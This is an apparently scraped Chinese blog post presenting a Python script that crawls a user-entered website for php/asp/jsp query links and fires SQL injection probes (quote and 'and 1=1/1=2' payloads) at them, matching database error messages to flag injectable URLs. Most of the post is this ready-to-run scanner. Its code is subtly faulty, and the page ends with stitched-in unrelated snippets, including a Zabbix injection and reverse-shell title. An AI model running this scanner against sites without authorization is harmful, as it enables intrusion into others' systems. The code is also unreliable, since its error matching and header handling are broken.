python打造一个分析网站SQL注入的脚本

前言:

昨天晚上其实就已经写完代码。只不过向FB投稿了,打算延迟一晚上在写博客

所有才到今天早上写。好了,接下来进入正题。

思路:

1.从网站源码中爬取那些类适于:http://xxx.com/xx.php?id=xxx的链接

2.将这些爬取到的链接写入一个URL

3.加入payload

4.用正则过滤掉一些残缺不全的链接

5.将一些报错语句加入一个列表

6.从报错的语句中寻找错误

7.判断字符型注入或数字型注入

代码:

  1 import requests,re,time,os
  2 from tqdm import tqdm
  3 from bs4 import BeautifulSoup
  4 def zhuru():
  5     global x,headers,ps
  6     user=input(‘[+]Please enter the URL you want to test:‘) #用户输入要检测的网站
  7     url="{}".format(user.strip()) #去除两边的空格
  8     headers={‘User-Agent‘ : ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36‘}
  9     request=requests.get(url,headers) #浏览器头
 10     shoujiurl=[] #创建一个收集URL链接的列表
 11     rse=request.content
 12     gwd=BeautifulSoup(rse,‘html.parser‘)
 13     php=gwd.find_all(href=re.compile(r‘php\?‘)) #寻找后缀名为php的链接
 14     asp=gwd.find_all(href=re.compile(r‘asp\?‘)) #寻找后缀名为asp的链接
 15     jsp=gwd.find_all(href=re.compile(r‘jsp\?‘)) #寻找后缀名为jsp的链接
 16     print(‘[+]Collection URL ‘)
 17     for i in tqdm(range(1,500)): #进度条
 18         time.sleep(0.001) #进度条
 19     for lk in php:
 20         basd=lk.get(‘href‘) #提取其中的链接
 21         shoujiurl.append(basd) #加入列表
 22     for ba in asp:
 23         basd2=ba.get(‘href‘) #提取其中的链接
 24         shoujiurl.append(basd2) #加入列表
 25     for op in jsp:
 26         basd3=op.get(‘href‘) #提取其中的链接
 27         shoujiurl.append(basd3) #加入列表
 28     print(‘[+]Collection completed‘)
 29
 30
 31     huixian=[]
 32     huixian1 = "is not a valid MySQL result resource"
 33     huixian2 = "ODBC SQL Server Driver"
 34     huixian3 = "Warning:ociexecute"
 35     huixian4 = "Warning: pq_query[function.pg-query]"
 36     huixian5 = "You have an error in your SQL syntax"
 37     huixian6 = "Database Engine"
 38     huixian7 = "Undefined variable"
 39     huixian8 = "on line"
 40     huixian9 = "mysql_fetch_array():"
 41
 42     huixian.append(huixian1)
 43     huixian.append(huixian2)
 44     huixian.append(huixian3)
 45     huixian.append(huixian4)
 46     huixian.append(huixian5)
 47     huixian.append(huixian6)
 48     huixian.append(huixian7)
 49     huixian.append(huixian8)
 50     huixian.append(huixian9)
 51     for g in huixian:
 52         ps="".join(g) #过滤掉[]
 53
 54     payload0="‘"
 55     payload1="‘‘"
 56     payload2="%20and%201=1"
 57     payload3="%20and%201=2"
 58     for x in shoujiurl:
 59         yuan="".join(x) #过滤掉[]
 60         ssdx="".join(x)+payload0 #添加payload
 61         ssdx2="".join(x)+payload1
 62         ssdx3="".join(x)+payload2
 63         ssdx4="".join(x)+payload3
 64         pdul=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx) #过滤掉一些残缺不全的链接
 65         pdul2=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx2)
 66         pdul3=re.findall(‘[a-zA-z]+://[^\s]*‘,yuan)
 67         pdul4=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx3)
 68         pdul5=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx4)
 69         psuw="".join(pdul) #过滤掉[]
 70         psuw2="".join(pdul2)
 71         psuw3="".join(pdul3)
 72         psuw4="".join(pdul4)
 73         psuw5="".join(pdul5)
 74         try:
 75             resg=requests.get(url=psuw,headers=headers,timeout=6)
 76             resg2=requests.get(url=psuw2,headers=headers,timeout=6)
 77             resg3=requests.get(url=psuw3,headers=headers,timeout=6)
 78             resg4=requests.get(url=psuw4,headers=headers,timeout=6)
 79             resg5=requests.get(url=psuw5,headers=headers,timeout=6)
 80             if resg.status_code == 200: #判断状态码是否等于200
 81                 print(‘[+]The first step is completed, and the goal is to be stable‘)
 82                 time.sleep(1)
 83                 if resg.content != resg2.content and resg3.content == resg2.content:  #判断是不是字符型注入
 84
 85                     print(‘[+]Existence of character injection‘)
 86                     print(resg3.url)
 87                     print(resg3.url,file=open(‘character.txt‘,‘a‘)) #如果是写入脚本
 88                 elif resg4.content != resg5.content and resg4.content == resg3.content: #判断是不是数字型注入
 89                     print(‘[+]Digital injection‘)
 90                     print(resg3.url)
 91                     print(resg3.url,file=open(‘injection.txt‘,‘a‘)) #如果是写入脚本
 92                 else: #两者都不是
 93                     print(‘[+]Sorry, not character injection‘)
 94                     print(‘[+]Sorry, not Digital injection‘)
 95                     print(resg3.url)
 96                 if ps in str(resg2.content):
 97                     print(‘[+]The wrong sentence to be found‘,ps)
 98             elif resg.status_code != 200:
 99                 print(‘http_stode:‘,resg.status_code)
100                 print(‘[-]Sorry, I cant tell if there is an injection‘)
101         except:
102           pass
103
104
105 zhuru()

测试结果如下:

原文地址:https://www.cnblogs.com/haq5201314/p/8972950.html

时间: 2024-11-05 16:09:58

python打造一个分析网站SQL注入的脚本的相关文章

一个PHP的SQL注入完整过程

本篇文章介绍的内容是一个PHP的SQL注入完整过程,现在分享给大家,有需要的朋友可以参考一下 希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构.高可扩展.高性能.高并发.服务器性能调优.TP6,laravel,YII2,Redis,Swoole.Swoft.Kafka.Mysql优化.shell脚本.Docker.微服务.Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,

Zabbix sql注入漏洞脚本执行反弹shell

exp检测是否存在SQL注入漏洞[email protected]:~# python zabbix.py http://ip:9090/+------------------------------------------------------------+ Python Zabbix<3.0.4 SQL注入 Exploitsuccess+------------------------------------------------------------+Zabbix 存在SQL注入漏洞

使用python编写一个壁纸网站的简单爬虫

目标网站:http://www.netbian.com/ 目的:实现对壁纸各分类的第一页壁纸的获取 一:分析网站,编写代码: (ps:源代码在文章的最后) 1.获取网站目录部分的一大段代码,下一步再进行仔细匹配网址与标题. 1 #coding=gbk 2 #目标:下载各目录的壁纸(大图) 3 __author__ = 'CQC' 4 import urllib2 5 import urllib 6 import re 7 import os 8 9 #创建壁纸下载文件夹 10 path = 'd

用Python打造一个只属于你的专属音乐播放器,享受动手的快乐!

平常我们总是用爬虫爬取网页上的音乐,今天我们换个玩法,用Python制作一个独一无二只属于你的音乐播放器,小伙伴们觉得如何?如果觉得提议还不错,那就立即动手吧! 一.需要的库 pygame tkinter mutagen 二.设计思路 作为初代版本0,我们并不想做太复杂的项目.只需实现以下几个功能: 将某个目录下的mp3文件名在listbox中显示 显示当前播放的歌曲名 播放上一首歌曲 播放下一首歌曲 停止播放 三.获取目录下的mp3文件 废话不多说,干货端上来: 与button有关的函数 更新

python之MySQL学习——防止SQL注入(参数化处理)

1 import pymysql as ps 2 3 # 打开数据库连接 4 db = ps.connect(host='localhost', user='root', password='123456', database='test', charset='utf8') 5 6 # 创建一个游标对象 7 cur = db.cursor() 8 9 # 参数化处理 10 sql = "INSERT INTO USER(NAME,PASSWORD) VALUES(%s,%s)" 11

用python编写一个仿路由器命令的交互式脚本

刚开始学习python,感觉器功能的强大.因为开始是学网络的因此对路由器交换机的命令行配置比较熟悉,因此简单写了个仿h3c的交互脚本.因为是初学,其中只涉及到简单的while循环和if条件判断.可以作为一个交互程序的思路框架. #!/usr/bin/env python __author__ = 'Administrator' print('\n'+'view-sys',"\n") while True:     usr_view=input("<Router>&

使用python编写一个统计局域网未关机的脚本,并生成excel表格

#!/udict/bin/env python # -*- coding: utf_8 -*- #Date:2016/10/17 #Author:wangpeng #blog:http://wangpengtai.blog.51cto.com import subprocess import nmap import time,datetime import xlrd,xlsxwriter,xlwt import os,sys from xlutils.copy import copy from 

zabbix(sql注入判断脚本)

#-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): page = urllib.urlopen(url) html = page.read() html = html.replace('\n', '') html = html.replace(' ', ' ') html = html.replace(' ', '') html = html.replace(' ', '') retu

利用sqlmapapi打造自动化SQL注入工具

友链:http://www.freebuf.com/sectool/74445.html 0×01 前言 各位看官看到标题吐槽帝就开始了:已经有了各种各样的注入工具,为什么还要手工打造一个? 事实上,做为一名苦逼乙方测试工程师以及漏洞盒子屌丝白帽子 ,在疲于应对各种死缠滥打的甲方以及成堆的web测试需求时,我经常遇到以下场景: (1)有大批量的网站需要检测的场景 乙方工程师工作辛苦劳累从来都不抱怨,有项目一定都是最能抗的,向无数奋斗在一线的乙方工程师致敬! (2)系统内部业务复杂可能会存在众多测